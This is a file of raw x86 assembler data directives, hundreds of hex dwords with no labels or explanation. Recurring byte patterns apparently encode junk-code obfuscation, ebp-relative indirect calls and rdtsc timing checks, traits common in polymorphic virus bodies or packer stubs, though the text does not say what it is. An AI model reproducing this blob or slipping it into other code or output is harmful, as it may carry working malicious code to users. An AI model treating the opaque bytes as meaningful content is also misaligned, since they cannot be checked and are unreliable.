		dd 7F9BB58Dh, 6A0626h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 0E9B6AAC3h, 8, 3C326768h, 11FB06A5h
		dd 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h
		dd 56460000h, 830CEBC3h, 58D2B144h, 0BD896026h,	6223165h
		dd 1969858Bh, 0FF610622h, 22307595h, 820F5706h,	6, 13DD9D03h
		dd 8B5B0622h, 2203C9BDh, 1003B906h, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 8E82BEC3h
		dd 8F8592FDh, 0FCE18388h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 18h, 0E1C35242h, 0A6FA1CADh, 334FBF66h, 53BFBFFCh
		dd 0C02B3B41h, 6E9h, 8EE42C00h,	23E50FAFh, 223245BDh, 0BA06h
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
		dd 53430000h, 3298DDC3h, 7B2C1EB7h, 0E9F8D721h,	7, 1F5AB0C4h
		dd 3B965C0h, 221BB19Dh,	0C233AD06h, 0D003E8D1h,	7504E983h
		dd 65BD89F4h, 0F06221Ch, 683h, 9D9D3300h, 1062210h, 2219F98Dh
		dd 880D06h, 14E90000h, 18000000h, 0A3F4F9D2h, 0EED422B9h
		dd 187EDE82h, 696939EBh, 8B2838B9h, 2233F195h, 10DB8106h
		dd 8B7DB7ACh, 222D318Dh, 0F3BB306h, 389h, 0F9BF0F00h, 8BC28B50h
		dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 0D98A5818h, 6860Fh
		dd 9D8B0000h, 622195Dh,	26359D8Bh, 4CBF0622h, 8328A4F6h
		dd 222C69BDh, 840F0006h, 3Dh, 0B8h, 0BAF78000h,	50B18D8Dh
		dd 6A0622h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 0EB779DC3h, 8B19CE9Eh, 2224359Dh,	0BF665006h
		dd 0FF5B613Dh, 0E5BD83E1h, 62230h, 550840Fh, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 8D8927C3h, 6221DB5h,	30E5BD83h, 0F010622h, 53C84h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 51C7FA9Fh, 66F51796h, 830AEEBBh, 2230E5BDh, 860F0306h
		dd 4D3h, 69BD3360h, 66062218h, 6061C38Bh, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 19h, 0D7C35242h, 76664D96h
		dd 0E9CB8113h, 1540D6Ch, 22163D8Dh, 0D58D8906h,	66062230h
		dd 6AD98Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 0DA8634C3h, 0BD32EE44h, 8960C135h, 221831B5h
		dd 6860F06h, 0F000000h,	8Ch, 8B666100h,	4E180DAh, 0FC90AFCh
		dd 14984h, 95B58900h, 8B062226h, 2210B985h, 14E906h, 0F9AB0000h
		dd 8C9AAFF3h, 33A7F752h, 0CB338A56h, 5B35CFD9h,	85336FBCh
		dd 62208A5h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 17h,	94C35141h, 50594C10h, 735DBB66h, 6A240489h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 0B87EC352h, 890074E9h, 222719BDh, 8B006A06h,	221BBD9Dh
		dd 4E806h, 3FF0000h, 860F001Fh,	0Ah, 0FF28B60h,	87h, 0F506100h
		dd 588h, 1DD5BF00h, 448B3E8Fh, 8B660424h, 0B7008BF8h, 244489B1h
		dd 10E804h, 6BFA0000h, 6DCF818Dh, 0C8D57C51h, 488483CCh
		dd 585FDB52h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 14h,	0BC35040h, 6F75BB66h, 1E9195FFh, 0B5890622h, 6221CE9h
		dd 0CAEB8589h, 8B600625h, 22025985h, 0BE906h, 32AC0000h
		dd 26CBBA43h, 0A3F827CDh, 0BF66611Dh, 96E9D2DCh, 6A000002h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 0BF79C357h, 223AE6EBh, 0DAB70F57h, 21A9BD8Bh
		dd 858B0622h, 625CAE3h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 16h, 0F4C35141h, 8B53AE68h, 222FB9BDh, 10E95B06h
		dd 9C000000h, 0EF2D64ABh, 0B8DA54Dh, 1620A875h,	0C7177682h
		dd 1800h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1B04h, 0C3514100h, 2DFAEDB7h, 9C7F83B5h, 8150D98Bh
		dd 8579DEC3h, 0B58B5B5Ah, 625CAE7h, 1809BD33h, 9D8B0622h
		dd 62220B1h, 0A65858Bh,	6A0622h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 5FB6C5C3h, 624793E4h
		dd 6060C709h, 0E8806160h, 0B70F6186h, 68961F7h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 30C35141h, 0D8895B90h
		dd 858BDE8Bh, 62210B9h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 0B3C35747h, 0E88FE5BFh, 89F86732h, 6A0446h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 51D61BC3h, 53312637h, 8BFE8B66h, 222D01BDh, 8B665006h
		dd 243489D9h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 1Dh,	0B8C35646h, 0C6F6C5E8h,	2BBB374Ch, 0E3B5FF47h
		dd 290625CAh, 221CE1BDh, 4E806h, 3FF0000h, 5250001Fh, 8E9h
		dd 91ECE200h, 9B495796h, 5A310F39h, 0E8605058h,	5, 8AAC5E5Eh
		dd 0DA8B6621h, 448B615Bh, 66500424h, 8B5FDF8Bh,	15C7BB00h
		dd 44897C47h, 8B660424h, 6A58F9h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 2A1E4DC3h, 1793820h
		dd 9D894EF1h, 622243Dh,	0CAEB858Dh, 6A0625h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0CD32DEC3h
		dd 0B5F1D6FBh, 0D98BF7BFh, 97B7CB81h, 0F5025DBh, 383h
		dd 0D98B6600h, 6A240489h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 86FEC350h, 0C6F273FCh
		dd 0FFCEDB80h, 221E9195h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 0CBD5D162h
		dd 0B70FB1CBh, 6A61FBh,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 160424h, 51410000h, 5EDB8C3h, 0BE9h,	7BA58B00h, 0D2A77098h
		dd 380F4C3Eh, 30E585C7h, 30622h, 9D8B0000h, 62230F5h, 5E9h
		dd 8DC33C00h, 0BD83F149h, 625CAEBh, 40840F00h, 66000000h
		dd 337DD781h, 51E9h, 50006A00h,	3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 0A71F97DDh, 11E9ABh, 396C0000h
		dd 0DC2C3934h, 38083BDDh, 351DF811h, 50485BA1h,	110C30h
		dd 0C1011144h, 443010E8h, 4C000211h, 83580311h,	0E77504E9h
		dd 305036EBh, 64001104h, 0E8C10111h, 11443010h,	11640002h
		dd 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h
		dd 64285802h, 4300111h,	4E98311h, 0EBE775h, 6AC08Bh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 3F0621C3h, 178F5A80h, 0B589F050h, 62206B5h, 0D150CB81h
		dd 8D313AAEh, 6220AA5h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ch, 0F7C35040h, 3A247A13h, 5083B848h, 7999D8Bh
		dd 0B5890622h, 622185Dh, 30E5BD83h, 0F030622h, 3E085h
		dd 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1D04h, 0C3524200h
		dd 0DC4A16B8h, 0B841483h, 0E85380C2h, 5, 27DB770Dh, 835B5B26h
		dd 25CAEBBDh, 840F0006h, 3A1h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 0A6C35545h,	2EBE3779h, 0FF17BEFEh
		dd 25CAEBB5h, 0BD296006h, 6220AFDh, 8961E28Ah, 221DA585h
		dd 0CD95FF06h, 2906221Dh, 221C75B5h, 0DFB58B06h, 0F50625CAh
		dd 106C7h, 6A0001h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 160424h, 51410000h, 0B2705DC3h, 5084D780h, 0DE9h, 2FDF8900h
		dd 65F6C299h, 86CCDD5Fh, 34892B22h, 8FD38124h, 0E83EB422h
		dd 12h,	78AB6022h, 0EEC460B5h, 404BEBB2h, 1C8CEC0Fh, 0D98B0DEBh
		dd 0EBB5FF5Bh, 0B30625CAh, 0D7816688h, 95FF8F82h, 6222541h
		dd 13E8h, 2B79E200h, 1E3DEF5Dh,	7FA9ECDAh, 62A4F9A2h, 0AA478B38h
		dd 339D9589h, 8B5B0622h, 25CADFB5h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 99767F3h, 0A5663AE2h
		dd 1D85BD8Bh, 858B0622h, 6221B2Dh, 897ECF80h, 0C486h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 6E99D39Eh, 0CEC7917Fh, 0D1BD0B00h, 8B062215h, 2233F195h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 37A3CA39h, 4C28338h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 13C35242h, 6A205089h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 0C1E1C350h, 66F381C3h, 8D352A38h, 25DEBC85h,	15B58906h
		dd 89062216h, 0B886h, 6A81B300h, 0B5FFFC00h, 625CAEBh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 21C35545h
		dd 0E2B44B2Fh, 0FF518137h, 22028595h, 0AE906h, 657E0000h
		dd 244A0E57h, 0A6D57A0Ah, 5E850h, 5F750000h, 5F3E7AADh
		dd 89243489h, 221261BDh, 0EBB5FF06h, 6A0625CAh,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 0C0C2C350h, 3310E4BFh, 0F595FF1Ch, 6A06221Ah, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
		dd 0F34FC353h, 438CE125h, 0ACD38166h, 31BD83C0h, 62213h
		dd 51840Fh, 6A0000h, 3E855h, 5D200000h,	6C895DC3h, 44810424h
		dd 170424h, 55450000h, 1F5C18C3h, 57DF81D2h, 500955C0h
		dd 844E8BBh, 2434893Ch,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 17h, 0D6C35747h, 660AD733h, 0FF4CCABBh, 25CAEBB5h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1C04h
		dd 0C3504000h, 4D6C90CBh, 7DAB23D4h, 8E91Bh, 5F530000h
		dd 6D78B3BBh, 95FFDE14h, 6221D41h, 28158509h, 0B5FF0622h
		dd 625CAEBh, 936165BFh,	0BA22BF52h, 95FF60F3h, 6222FC5h
		dd 2A9BD83h, 0F020622h,	3C84h, 0DE86000h, 2D000000h, 0EFAFEE6Bh
		dd 30EAA87Fh, 29D1CDEh,	70B811BEh, 0DE95918h, 0B3000000h
		dd 8CC5FEF7h, 66A12667h, 7DB727D2h, 0E1858B61h,	0F8062200h
		dd 890000C6h, 22219595h, 7D85C706h, 62219h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 3E77C351h, 9A34841Fh, 89DB87A3h, 222AA9B5h
		dd 0F2B2E906h, 8956FFFFh, 2232E995h, 0C18B5B06h, 0E3D9D8Bh
		dd 9D8B0622h, 622200Dh,	2CB5858Dh, 6A0622h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 160424h, 50400000h, 4BFF71C3h
		dd 13E9h, 0FDF6EA00h, 0DDD60FCAh, 0C92CB43Dh, 0F2EC95E3h
		dd 9537D659h, 28FD8D31h, 50900622h, 50525060h, 8B310F5Ah
		dd 66585AC8h, 9061C88Bh, 6ADA8Ah, 0AE8h, 8686B800h, 9B54FFB4h
		dd 0F21085Ah, 6A5FDAB7h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 66389710h, 858D140Bh
		dd 6271090h, 5ED2BB66h,	83D7C380h, 6A05C0h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 29CF1DC3h
		dd 0BA6FDBBFh, 8C0F585Fh, 0
		dd 0AE9h, 9EF62D00h, 83E06193h,	90940FF8h, 9E9h, 42B54200h
		dd 0F3E4BF2Ch, 66501EA8h, 90E521BFh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 43C35242h, 6A38DF80h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
		dd 0E92B6BD8h, 9, 18E9E2Bh, 8062038h, 6A006A1Dh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 33BBC355h, 355595FFh, 6A0622h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 150424h, 50400000h, 0B394ECC3h, 0A9B5890Bh
		dd 8D062221h, 25A90F8Dh, 9D1FF06h, 222C8185h, 0FDBD8B06h
		dd 8306220Eh, 2200F5BDh, 850F0106h, 8Ch, 28F99D8Bh, 26A0622h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 2DC35646h
		dd 0E1931E14h, 69850932h, 2906221Fh, 2214AD9Dh,	4895006h
		dd 56006A24h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 0BD8BCCE1h, 6220ECDh, 9E9h, 360C1000h, 9DCC2281h
		dd 95FF0A32h, 6220285h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 14h, 0CC35141h, 0CEAE9h, 0E800h, 815D0000h
		dd 27109AEDh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1C04h, 0C3574700h, 0AD213184h, 32F4825Ch, 0BB66609Bh
		dd 8961858Fh, 220F718Dh, 28A0F06h, 0B3000000h, 45858D10h
		dd 89062593h, 22057DB5h, 80B39006h, 60525050h, 310F5250h
		dd 1FB5585Ah, 66310F61h, 5A1797BBh, 6A9058h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 0E9B5A6C3h
		dd 13h,	0A0A8F5D8h, 93DD0458h, 5E73A8AEh, 9BCF1FAFh, 643B4037h
		dd 35FFh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 9ED717C3h, 0FD88B66h, 883h, 2820F00h
		dd 0B7000000h, 258964FBh, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0A9C35343h
		dd 95FA85CFh, 0B669BC3Dh, 85FF15B7h, 62208B1h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0D3C35646h, 37CF6B0Ch
		dd 71BD8BC4h, 5306221Ch, 1C418D29h, 6A5B0622h, 9BD8BFFh
		dd 0BB062203h, 0B4E8FDBh, 19F5B5FFh, 81660622h,	0FF1309CBh
		dd 221C3595h, 105E906h,	0B0F80000h, 0E6DF8B00h,	810F70h
		dd 0E4000000h, 79BD8B71h, 3C06220Eh, 0E8830F61h, 0B3000000h
		dd 0C8B60FC3h, 0E158589h, 9D890622h, 6220A55h, 6BAh, 0C18BF800h
		dd 0E8C1F88Bh, 659D8B04h, 66062213h, 8D89E2F7h,	62215A1h
		dd 0DE8BC82Bh, 0BD89D18Bh, 6220869h, 0BE9h, 0CBE2C000h
		dd 4BC1196Eh, 1CE195B6h, 9AE9h,	0D3816600h, 858B21C5h
		dd 47554C50h, 354DB589h, 0DE90622h, 0BA000000h,	0A683E6A2h
		dd 7B3E3B3Bh, 5E97867Bh, 0F07C083h, 587h, 1361BF00h, 816631CEh
		dd 834AD2C7h, 850F00C0h, 9, 3860Fh, 8B660000h, 0FD03BFEh
		dd 1283h, 5DBD8900h, 0E9062205h, 3Fh, 18E0Fh, 8BF90000h
		dd 0FFFFFF8Dh, 3D8D29FFh, 83062230h, 840F01E1h,	23h, 838BC780h
		dd 0FFFFFFA5h, 8C0FFEFFh, 2, 9589F5B3h,	47554C50h, 0AF58531h
		dd 0E90622h, 8D000000h,	268F9EB5h, 0DFBF0F06h, 6A006Ah
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 6A4F86C3h, 33A2E91Eh, 5D9D03E3h, 0FF06221Bh,	22307595h
		dd 0D0B8BB06h, 800F3F28h, 6, 330DBD89h,	7B90622h, 66000011h
		dd 5EDFCF81h, 89FCE183h, 22149DBDh, 6AFC06h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 3613D3C3h
		dd 7859D8Bh, 0C02B0622h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 19h, 0ACC35343h, 0CDD457FBh, 0A99D095Dh, 2B062232h
		dd 0ADDFB7D2h, 0E8D1C233h, 0E983D003h, 8BF47504h, 220715BDh
		dd 68E0F06h, 8B000000h,	2230D1BDh, 3850F06h, 0F000000h
		dd 880DF8BFh, 60000000h, 8168C480h, 74601D1h, 958B6178h
		dd 62233F1h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Dh,	39C35040h, 910E2CA3h, 0BC936BA0h, 0F78166E7h, 0BD8BB621h
		dd 6222129h, 2D318D8Bh,	8B500622h, 3188BC2h, 8B188BC1h
		dd 3E8D1C1h, 58188BC2h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 14h, 0B8C35141h, 0ACD589BBh, 5B53120h, 83062233h
		dd 222C69BDh, 840F0006h, 69h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 16h, 9CC35040h, 852901B2h, 622157Dh
		dd 27B58D89h, 0B80622h,	0F000000h, 8D8DDFB7h, 62250B1h
		dd 92D9D31h, 0E1FF0622h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 15h, 0F3C35646h, 0E5BD01B1h, 33062202h, 2214AD9Dh
		dd 0E5BD8306h, 62230h, 412840Fh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 8B2E9AC3h
		dd 2225E99Dh, 19D8B06h,	56062215h, 28C0Fh, 0FE8B0000h
		dd 0E5BD835Fh, 1062230h, 3ED840Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0F14A7DC3h
		dd 0DE826B3h, 22000000h, 0D835BA4Dh, 94A25B2h, 71ECC27Fh
		dd 6087DB81h, 835B433Bh, 2230E5BDh, 860F0306h, 371h, 2575BD8Bh
		dd 0BF660622h, 6660E57Fh, 66E0F4BFh, 6AD98Ch, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 160424h, 50400000h, 0D1C77AC3h
		dd 30E99D8Bh, 0E1800622h, 0FE8B6604h, 840FC90Ah, 0E0h
		dd 21C5BD8Bh, 858B0622h, 62210B9h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Bh, 0CBC35343h,	88D31FE3h, 0BFB2BE73h
		dd 2177BF95h, 33FBB70Fh, 2208A585h, 0A9BD8906h,	5006221Dh
		dd 9E9h, 3C8A4900h, 0E0845BDDh,	489894Ch, 51006A24h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h
		dd 0E5BF66ADh, 6A006A67h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 7291C351h, 0BBCE905Dh
		dd 0F9B70FF0h, 0BF981A68h, 0B8D0F9Fh, 50000000h, 0DA8B6652h
		dd 0BBB7310Fh, 481585Ah, 5F6BE524h, 75850160h, 0FF062206h
		dd 221E9195h, 0EB858906h, 660625CAh, 0E96FB9BBh, 1EBh
		dd 6880Fh, 0DF810000h, 7B77CA6Bh, 0CAE3858Bh, 3570625h
		dd 2231419Dh, 0C75B06h,	18h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 59C35141h, 93154BDEh, 11159D33h
		dd 0BF0F0622h, 0E7B58BFEh, 8B0625CAh, 220A6585h, 85295006h
		dd 62213BDh, 0D18D895Bh, 89062230h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 8BA53658h
		dd 22007D9Dh, 8C0F6006h, 4, 0B19BBA66h,	8961C68Bh, 2214698Dh
		dd 0B9858B06h, 89062210h, 220B0185h, 4468906h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 5AC35343h, 8602FCA7h
		dd 0D98B9D08h, 52505096h, 310F76B3h, 14E8h, 0E2BBD000h
		dd 0F11B9F04h, 0F6F63540h, 932A0331h, 548F814Dh, 5B6160ABh
		dd 6696585Ah, 72EED781h, 0CAE3B5FFh, 6A0625h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 323F68C3h
		dd 0F524A64h, 4E8FFBFh,	0FF000000h, 0BF001F03h,	24BFD199h
		dd 24448B50h, 7E804h, 0BA2E0000h, 62BB5088h, 5BDF8BF5h
		dd 1AB7008Bh, 4244489h,	58DE8B66h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 14h, 98C35545h, 0CAEB858Dh, 6A0625h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 0B7531BC3h, 0A7B6DD39h, 6840F48h, 8B000000h,	2200B59Dh
		dd 25BF5006h, 896FDD6Dh, 6A2404h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 0E4F769C3h, 6800FABh
		dd 29000000h, 22066DB5h, 9195FF06h, 0F06221Eh, 68Ah, 0CDBD8B00h
		dd 6106222Fh, 0E49CBF66h, 30E585C7h, 30622h, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 4BF680C3h, 0BD85296Dh, 8306221Eh, 25CAEBBDh,	840F0006h
		dd 2Dh,	0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah
		dd 22C35343h, 0F96FB05Fh, 21E9D32Fh, 8B000000h,	2205419Dh
		dd 0C305006h, 11440011h, 10E8C101h, 2114430h, 3114C00h
		dd 4E98358h, 36EBE775h,	11043050h, 1116400h, 3010E8C1h
		dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h
		dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h
		dd 0C08B00EBh, 0AA58589h, 0BD830622h, 62230E5h,	36850F03h
		dd 0E9000004h, 8, 1FA6DF0Ah, 0BF00F3BCh, 0A6C78166h, 0EBBD83CEh
		dd 625CAh, 417840Fh, 0B5FF0000h, 625CAEBh, 8F18529h, 95FF0622h
		dd 6221DCDh, 12CB8166h,	0DFB58BE0h, 6A0625CAh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 6F9CC356h, 0C7F84DB5h, 1000106h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 8BEB1C8Ch
		dd 2233399Dh, 0EE89606h, 33000000h, 0D08BD3B0h,	3FE22CB7h
		dd 353668CCh, 5F92B38Ch, 9E86050h, 3B000000h, 177BCAE1h
		dd 607B0DACh, 0D38B6659h, 6A9661h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 0CDF19EC3h, 229BD8Bh
		dd 0B5FF0622h, 625CAEBh, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 60C35242h, 0FBB8502Fh, 0EE7D24D3h, 0A5958B60h
		dd 89062205h, 222CFDB5h, 95FF6106h, 6222541h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0E8C35040h, 6D794C30h
		dd 2D85294Bh, 8A06221Fh, 0DFB58BFAh, 30625CAh, 22109DBDh
		dd 2D858B06h, 6A06221Bh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 7F78C353h, 9D895052h
		dd 6222581h, 86895F5Bh,	0C4h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 0B3C35343h,	958B6597h, 62233F1h
		dd 8419501h, 0C2830622h, 56006A04h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 1A7776A2h, 68C0F55h, 9000000h
		dd 2218A9BDh, 20508906h, 11E9h,	0FA342400h, 0E967658Eh
		dd 2C86AE89h, 0F9ED2483h, 858D1D9Dh, 625DEBCh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0C2C35545h, 14E9h
		dd 25977300h, 605B395Dh, 0F677F22Ah, 58D8AB80h,	403E7E0Ch
		dd 0B88689B8h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 6AD5C356h, 0FE800h
		dd 32640000h, 40581C2Bh, 0C48F71D2h, 40C18CBFh,	759589E5h
		dd 5F06220Eh, 0CAEBB5FFh, 6A0625h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 91AC1BC3h, 0BBEEBFD6h
		dd 1E5DBD8Bh, 80510622h, 0FF5BCDCFh, 22028595h,	8E0F6006h
		dd 6, 3FD8D33h,	850B0622h, 62214B5h, 56509661h,	92E82ABBh
		dd 505F5B10h, 12E9h, 0C175BA00h, 9633670Fh, 0FBD675F1h
		dd 0D5B40441h, 967FECF0h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 15h, 73C35141h, 45ADBBCBh,	0BD897E62h, 6221F0Dh
		dd 0CAEBB5FFh, 840F0625h, 6, 14AD8589h,	95FF0622h, 6221AF5h
		dd 13E9h, 8415C200h, 9F9034EAh,	998A9437h, 322EAA17h, 472AEFDh
		dd 1331BD83h, 0F000622h, 0F84h,	0E5B52900h, 50062220h
		dd 3489F88Bh, 0DA8B6624h, 0CAEBB5FFh, 0A9BB0625h, 0FF11A1EFh
		dd 221D4195h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 8B662C41h, 0EBB5FFFEh, 6A0625CAh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 0BE92C352h, 0C37BA643h, 0EF8151C2h, 67C00CF5h
		dd 0C595FF5Bh, 6A06222Fh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 85C0C357h, 4BE78166h
		dd 0A9BD83BEh, 2062202h, 3B840Fh, 8E0F0000h, 1,	0E1858BF9h
		dd 23062200h, 221571BDh, 0C606h, 0E851006Ah, 3,	59C35920h
		dd 4244C89h, 4244481h, 1Dh, 58C35141h, 5FD20EEFh, 0C1D52720h
		dd 7D85C76Fh, 62219h, 60000000h, 30119509h, 0D3810622h
		dd 2AD3A9F0h, 0F461E961h, 9E9FFFFh, 24000000h, 7A1668ACh
		dd 41E12049h, 8166C18Bh, 8D849DC3h, 222CB585h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 13B9125Eh, 60DE2AB4h, 2770D381h, 6E91337h, 9B000000h
		dd 5CF241A1h, 0E99061F9h, 0Ah, 56C3EF83h, 2FE09D9Ah, 6650EBD0h
		dd 6A90FB8Bh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 7C3CC350h, 0AD605496h,	6A2DA5h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0B5C35646h
		dd 470ACB2Eh, 0BD896F73h, 622253Dh, 8DFC006Ah, 271F9C85h
		dd 83FC8A06h, 6A05C0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 60492AC3h, 17ED9589h, 0B5890622h
		dd 622208Dh, 0F5B58961h, 90062206h, 0FE95250h, 90000000h
		dd 1527E025h, 5638E797h, 0BCBDE331h, 310F40E9h,	585A5F53h
		dd 6957BB50h, 6A901FC6h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 79DC353h, 5EF98C37h
		dd 5BD88B56h, 0BB66006Ah, 6A0C4Eh, 18C0Fh, 0FFFC0000h
		dd 22355595h, 51BD8B06h, 8D062205h, 25A90F8Dh, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1904h, 0C3534300h
		dd 8797B5D9h, 0BF66CF5Fh, 0D1FF3222h, 0E856006Ah, 3, 5EC35E20h
